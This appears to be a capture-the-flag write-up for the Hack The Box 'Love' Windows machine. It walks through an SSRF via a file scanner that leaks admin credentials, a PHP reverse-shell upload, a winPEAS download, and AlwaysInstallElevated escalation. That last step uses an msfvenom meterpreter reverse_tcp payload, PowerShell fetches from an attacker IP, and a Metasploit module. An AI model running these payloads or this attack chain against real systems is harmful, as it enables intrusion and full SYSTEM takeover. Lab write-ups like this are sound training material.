Enumeration
 |
| subdomain Founded(staging.love.htb) |
Port 80 Love.htb
A login page , i tried Default credentials and some basic sql injections but it's not work
so lets visit subdomain
staging.love.htb
file scanner? ok lets put our reverseshell in this file scanner to get reverseshell but
i tried but its not work
 |
| i didn't get back shell |
After analyzing nmap result i find port 5000(unusual-port) is opened
but its 403 forbidden
so we use file scanner(http://staging.love.htb/beta.php) to access port 5000
Booom!! We got admin creds of love.htb/admin
 |
| We are now Admin |
INTIAL SHELL
lots way to get reverse-shell i'm upload my shell in profile photo , you can also upload voter candidate,voter lis etc...
Make sure , its windows machine so usual linux (php)shell doesn't work so i use
https://github.com/ivan-sincek/php-reverse-shell/blob/master/src/minified/php_reverse_shell_mini.php this shell or you can use nishang shell also
Steps to upload shelll

Privilege escalation
Transfer Winpeas.exe to victim machine to analayze (simple powershell one liner code)
Invoke-WebRequest "http://10.10.14.4/winPEAS.exe" -OutFile winpeas.exe
 |
| .\winpeas.exe |
 |
| AlwaysInstallElevated its enabled? |
What is this?
As we all are aware that Windows OS comes installed with a Windows Installer engine which is used by MSI packages for the installation of applications. These MSI packages can be installed with elevated privileges for non-admin users
For this purpose, the AlwaysInstallElevated policy feature is used to install an MSI package file with elevated (system) privileges. This policy is enabled in the Local Group Policy editor; directs the Windows Installer engine to use elevated permissions when it installs any program on the system. This method can make a machine vulnerable posing a high-security risk because a non-administrator user can run installations with elevated privileges and access many secure locations on the computer.
Caution Note: This option is equivalent to granting full administrative rights, which can pose a massive security risk. Microsoft strongly discourages the use of this setting. Hence this should be used for the lab purposes only (and not in a Production environment) (source)
ROOT.TXT
STEPS TO BECOME ADMINISTRATOR
first we need meterpreter shell, so lets first create msfvenom payload then transfer to victim machine to get meterpreter session
(command)
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.8 LPORT=9001 -f exe -o reverse.exe
then upload the payload via python server
(listener command)
Invoke-WebRequest "http://10.10.14.8:8000/reverse.exe" -OutFile reverse.exe
(Then start msfconsole listner)
msfconsole -q -x "use multi/handler; set payload windows/x64/meterpreter/reverse_tcp; set lhost 10.10.14.8; set lport 9001; exploit"
trigger the shell .\
 |
In order to perform the Privilege escalation abusing the AlwaysInstalledElevated policy, we can use utilize the inbuilt exploit of the Metasploit module as follows :
Then,
use exploit/windows/local/always_install_elevated
msf exploit(always_install_elevated) > set session 1
msf exploit(always_install_elevated) > set lhost <your tun0ip>
msf exploit(always_install_elevated) > exploit
Hurrah!! We have rooted in the Love Machine (NT AUTHORITY\SYSTEM) which has the highest level of privileges on the local system
LOVE PWNED :)
